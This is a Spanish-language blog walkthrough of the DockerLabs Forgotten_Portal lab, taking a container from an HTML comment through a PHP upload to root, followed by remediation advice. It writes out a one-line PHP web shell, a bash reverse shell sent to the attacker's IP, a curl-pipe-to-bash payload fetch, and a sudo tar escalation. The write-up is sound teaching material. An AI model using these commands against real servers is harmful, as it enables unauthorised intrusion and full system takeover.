Volver al blogSeguridad 11 min de lectura

Forgotten Portal: cómo se compromete un servidor desde un comentario en el código fuente

Walkthrough del lab Forgotten_Portal de DockerLabs: file upload, reverse shell y escalación de privilegios hasta root con metodología PTES.

Forgotten Portal: cómo se compromete un servidor desde un comentario en el código fuente

No todos los ataques empiezan con exploits de día cero ni herramientas sofisticadas.

A veces basta con que un desarrollador haya dejado un comentario en el HTML.

Este es el walkthrough completo del laboratorio Forgotten_Portal de DockerLabs, que resolvimos como parte del acelerador de ciberseguridad en Nodo EAFIT. Aplicamos la metodología PTES (Penetration Testing Execution Standard). El objetivo: comprometer la máquina completamente y documentar cada decisión técnica como si fuera un entorno real.

Llegamos a root. El camino fue más instructivo que el destino.

Entorno de trabajo

Desplegamos la máquina objetivo como contenedor Docker directamente dentro de Kali Linux en VirtualBox, usando el script de despliegue automático de DockerLabs:

sudo bash auto_deploy.sh forgotten_portal.tar

Una vez desplegada, la máquina quedó activa en la red interna de Docker con la IP 172.17.0.2. Nuestro equipo atacante (Kali Linux) operó desde 10.0.2.15.

Herramientas utilizadas:

HerramientaPropósito
nmapEscaneo de puertos y servicios
gobusterEnumeración de directorios web
netcatRecepción de reverse shell
python3Servidor HTTP temporal
base64Decodificación de credenciales
tar + GTFOBinsEscalación de privilegios

Fase 1: exploración

Verificación de disponibilidad

Antes de cualquier acción, verificamos que el objetivo estuviera activo:

ping -c 1 172.17.0.2

El TTL de la respuesta fue 64, lo que indica sistema operativo Linux. La máquina estaba activa y accesible.

Escaneo de puertos con Nmap

Hicimos un escaneo completo sobre todos los puertos TCP con detección de versiones y scripts de reconocimiento:

nmap -p- -sVC --min-rate 5000 -vvv -n -Pn 172.17.0.2

Output del escaneo Nmap sobre Forgotten Portal

Resultado:

PuertoProtocoloServicioVersión
22TCPSSHOpenSSH 9.6p1 Ubuntu
80TCPHTTPApache httpd 2.4.58

El puerto 22 requería credenciales para entrar. El puerto 80 exponía una aplicación web accesible sin autenticación: nuestro vector de ataque principal.

Fase 2: análisis

Servicio web en el puerto 80

Al acceder a http://172.17.0.2/ desde Firefox, encontramos el sitio CyberLand Labs, una interfaz visual sin funcionalidad de subida de archivos visible ni rutas adicionales en la navegación.

Sitio web de CyberLand

Aparentemente sin nada interesante. La clave estaba debajo de la superficie.

Hallazgo 1: comentario sensible en el código fuente

Al revisar el código fuente con las herramientas de desarrollo del navegador, encontramos un comentario HTML que no debería existir en ningún entorno de producción:

Comentario en el código fuente

Un solo comentario expuso dos datos críticos:

Dato expuestoValorRelevancia
Usuario del sistemaBobPosible usuario válido para SSH
Ruta ocultam4ch1n3_upload.htmlPágina con funcionalidad de subida

Esto es una vulnerabilidad de exposición de información sensible. Cualquier usuario puede leer el código fuente de una página HTML desde el navegador sin autenticarse.

Hallazgo 2: formulario de subida con .php permitido

Al acceder a http://172.17.0.2/m4ch1n3_upload.html, encontramos un portal de documentos con un formulario de subida.

Formulario web

Los tipos de archivo soportados eran:

ExtensiónTipo¿Debería estar permitido?
.txtTexto planoSí
.pdfDocumentoSí
.phpCódigo ejecutableNo

Los archivos .php no son documentos, son código que el servidor ejecuta directamente. Permitir su subida es una vulnerabilidad crítica de tipo File Upload que puede derivar en Remote Code Execution (RCE).

Hallazgo 3: enumeración de directorios con Gobuster

Para identificar rutas no visibles en la navegación, ejecutamos:

gobuster dir -u http://172.17.0.2 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

Nueva ruta encontrada

El escaneo procesó 220.558 palabras y encontró dos rutas relevantes:

RutaEstadoSignificado
/uploads301Existe y redirige, aquí se almacenan los archivos subidos
/server-status403Existe pero con acceso denegado

El directorio /uploads confirmó dónde vivirían los archivos subidos a través del formulario. La trampa estaba lista.

Fase 3: ataque

Paso 1: creación de la web shell

Creamos un archivo shell.php con una sola línea que convierte cualquier parámetro de URL en un comando ejecutado por el servidor:

echo '<?php system($_GET["cmd"]); ?>' > shell.php

Paso 2: carga al servidor

Subimos el archivo a través del formulario en /m4ch1n3_upload.html. El servidor lo aceptó sin restricción y confirmó la carga exitosa. Al verificar /uploads, shell.php ya estaba ahí.

Web shell subida

Paso 3: verificación de ejecución remota

Para confirmar que la web shell funcionaba, ejecutamos whoami remotamente:

curl http://172.17.0.2/uploads/shell.php?cmd=whoami

Verificación de la web shell con curl

Ejecución remota confirmada. El servidor ejecutó el comando como si lo hubiéramos escrito en su terminal.

Paso 4: obtención de la reverse shell

Una web shell básica es útil pero limitada. Para obtener una terminal interactiva completa configuramos una reverse shell en cuatro pasos:

1. Crear el payload en Kali:

echo 'bash -i >& /dev/tcp/10.0.2.15/443 0>&1' > rev.sh

2. Levantar un servidor HTTP temporal para servirlo:

python3 -m http.server 8080

3. Poner Kali a escuchar en el puerto 443:

nc -nlvp 443

4. Ejecutar desde la web shell:

curl "http://172.17.0.2/uploads/shell.php?cmd=curl+http://10.0.2.15:8080/rev.sh|bash"

La máquina objetivo descargó y ejecutó el payload. Kali recibió la conexión entrante como www-data.

Paso 5: estabilización de la shell

Una reverse shell básica es frágil: sin autocompletado, sin flechas, un Ctrl+C la cierra. La estabilizamos así:

script /dev/null -c bash
# Ctrl+Z para suspender
stty raw -echo; fg
export TERM=xterm

Terminal completamente funcional dentro del servidor.

Fase 4: acceso profundo

Reconocimiento interno

Con acceso como www-data, empezamos a mapear el sistema para encontrar rutas de escalación.

Usuarios del sistema

Usuarios del sistema identificados en /etc/passwd:

UsuarioShellAccesible desde www-data
alice/bin/bashNo
bob/bin/bashNo
charlie/bin/bashNo
cyberland/bin/shNo
ubuntu/bin/bashNo

Los binarios SUID no mostraron vectores prometedores, todos eran estándar de Ubuntu.

Hallazgo clave: credenciales en el access_log

Al explorar el directorio raíz del servidor web (/var/www/html), encontramos un archivo llamado access_log. Dentro había una línea que no debería existir en ningún log:

El access_log con la credencial en Base64

Una credencial codificada en Base64 dentro de un log accesible. Base64 no es cifrado, es codificación reversible que cualquier atacante puede revertir en segundos:

echo "YWxpY2U6czNjcjN0cEBzc3cwcmReNDg3" | base64 -d

Resultado: alice:s3cr3tp@ssw0rd^487

Obtuvimos credenciales sin fuerza bruta ni técnicas avanzadas.

Movimiento lateral: alice

su alice
# Password: s3cr3tp@ssw0rd^487

Directorios de usuario Alice

Acceso exitoso. En el directorio de alice encontramos cuatro archivos de interés:

ArchivoRelevancia
user.txtFlag de nivel usuario
.ssh/Directorio con claves SSH
incidents/Reportes internos del sistema
.bash_historyHistorial de comandos

La flag de usuario: CYBERLAND{us3r_l3v3l_fl4g}

El reporte de incidentes que lo cambió todo

El directorio incidents/ contenía un reporte interno de auditoría. Su contenido reveló una configuración errónea crítica:

RSA ID e información clave

Una única clave id_rsa fue generada y replicada en todos los directorios /home/<usuario>/.ssh/ del sistema. Adicionalmente, la passphrase del usuario bob quedó expuesta accidentalmente en un archivo temporal.

DatoValor
Clave privada/home/alice/.ssh/id_rsa
Passphrase de bobcyb3r_s3curity

Movimiento lateral: bob

SSH rechazó la clave inicialmente porque los permisos eran demasiado abiertos. Lo corregimos:

chmod 600 .ssh/id_rsa
ssh -i .ssh/id_rsa -o PreferredAuthentications=publickey bob@localhost
# Passphrase: cyb3r_s3curity

Acceso como bob confirmado. La misma clave privada funcionó para un usuario completamente diferente.

Escalación de privilegios a root

Verificamos los permisos sudo de bob:

sudo -l

Archivos ejecutables de Bob

Bob podía ejecutar tar como root sin contraseña. Consultando GTFOBins, identificamos que tar puede abusarse para obtener una shell como root mediante checkpoints:

sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh

Ejecutar tar como root

Resultado: whoami → root

La flag del root

Lo que esto significa en un entorno real

Este laboratorio no usó exploits sofisticados. Cada paso aprovechó errores humanos y de configuración que existen en sistemas de producción reales:

Comentario en el código fuente → expuso la ruta de ataque principal antes de que tocáramos nada.

Extensión .php permitida en el formulario → convirtió un formulario de documentos en una puerta de entrada al servidor.

Credenciales en Base64 dentro de un log → eliminó la necesidad de fuerza bruta completamente.

Clave SSH replicada entre usuarios → anuló el propósito de la autenticación por clave.

tar con sudo sin contraseña → un binario legítimo del sistema operativo se convirtió en el vector de escalación final.

Un atacante real con acceso a esta máquina habría tenido control total del servidor en menos de una hora. Sin alertas. Sin detección.

Recomendaciones

Formulario de subida: restringir extensiones a .txt y .pdf únicamente. Almacenar los archivos fuera del directorio raíz del servidor para que no sean ejecutables desde el navegador.

Código fuente: ningún comentario con rutas, usuarios o información interna debe llegar a producción. Es desarrollo seguro básico.

Credenciales: las contraseñas no se guardan en logs. Base64 no es cifrado. Para almacenamiento seguro: bcrypt o Argon2.

Claves SSH: cada usuario debe tener su propia clave única. Una clave replicada entre todos los usuarios del sistema no ofrece ninguna protección real.

Permisos sudo: principio de mínimo privilegio. Si tar no es necesario como root, no debe estarlo.

El informe técnico completo está disponible en GitHub.

Este ejercicio fue desarrollado en un entorno controlado con fines académicos dentro del acelerador de ciberseguridad de Nodo EAFIT. Todas las actividades se realizaron sobre infraestructura propia sin afectar sistemas reales ni terceros.

Lo que esto le costaría a una empresa real

El laboratorio Forgotten_Portal es ficticio. Las vulnerabilidades no lo son.

Cada uno de los cinco errores que permitieron comprometer este servidor existe hoy en sistemas de producción reales. No en empresas descuidadas ni en startups sin recursos, en organizaciones de todos los tamaños que simplemente nunca hicieron la pregunta correcta: ¿qué pasa si alguien mira con cuidado?

El atacante no necesitó nada especial

No hubo exploits de día cero. No hubo ingeniería social sofisticada. No hubo semanas de reconocimiento. Un comentario en el HTML, un formulario mal configurado y un archivo de log con una contraseña en Base64 fueron suficientes para obtener control total del servidor en menos de una hora.

Eso es lo que hace que este escenario sea relevante: la mayoría de los ataques reales se parecen más a esto que a las películas.

Qué pierde una organización cuando esto ocurre

Continuidad operativa. Con acceso root, un atacante puede apagar servicios, cifrar información o simplemente mantenerse invisible durante meses mientras extrae datos. El tiempo promedio que un atacante permanece dentro de un sistema antes de ser detectado supera los 200 días según múltiples reportes de la industria. Durante ese tiempo, opera con total libertad.

Datos de usuarios. Cualquier información almacenada en el servidor (bases de datos, archivos, correos, credenciales) está comprometida desde el momento en que el atacante obtiene acceso. En Colombia, la Ley 1581 de Protección de Datos Personales establece obligaciones de notificación y puede derivar en sanciones. En contextos internacionales, el GDPR puede implicar multas de hasta el 4% de la facturación anual.

Reputación. Este es el daño más difícil de cuantificar y el más lento de recuperar. Un incidente de seguridad público destruye la confianza de clientes, aliados e inversionistas de una forma que ningún comunicado de prensa puede reparar rápidamente.

Lo que hace diferente a una organización preparada

No es el presupuesto. No es el tamaño del equipo de TI.

Es haber respondido antes del incidente estas preguntas básicas:

  • ¿Qué puede subir un usuario a nuestros formularios?
  • ¿Dónde están guardadas nuestras credenciales?
  • ¿Quién tiene acceso a qué y por qué?
  • Si alguien entra hoy, ¿en cuánto tiempo nos damos cuenta?

Todas las vulnerabilidades documentadas en este writeup se corrigen con configuración, no con inversión. El comentario en el HTML se elimina antes de hacer deploy. El formulario se restringe a extensiones seguras. Las credenciales se almacenan con cifrado real. Las claves SSH se generan individualmente. Los permisos sudo se revisan.

La seguridad no empieza con herramientas. Empieza con decisiones, y la primera decisión siempre es hacerse la pregunta incómoda antes de que alguien más la responda por ti: ¿qué encontraría alguien que mire con cuidado?

Comentarios

0 respuestas

Todavía no hay comentarios. Abre la conversación.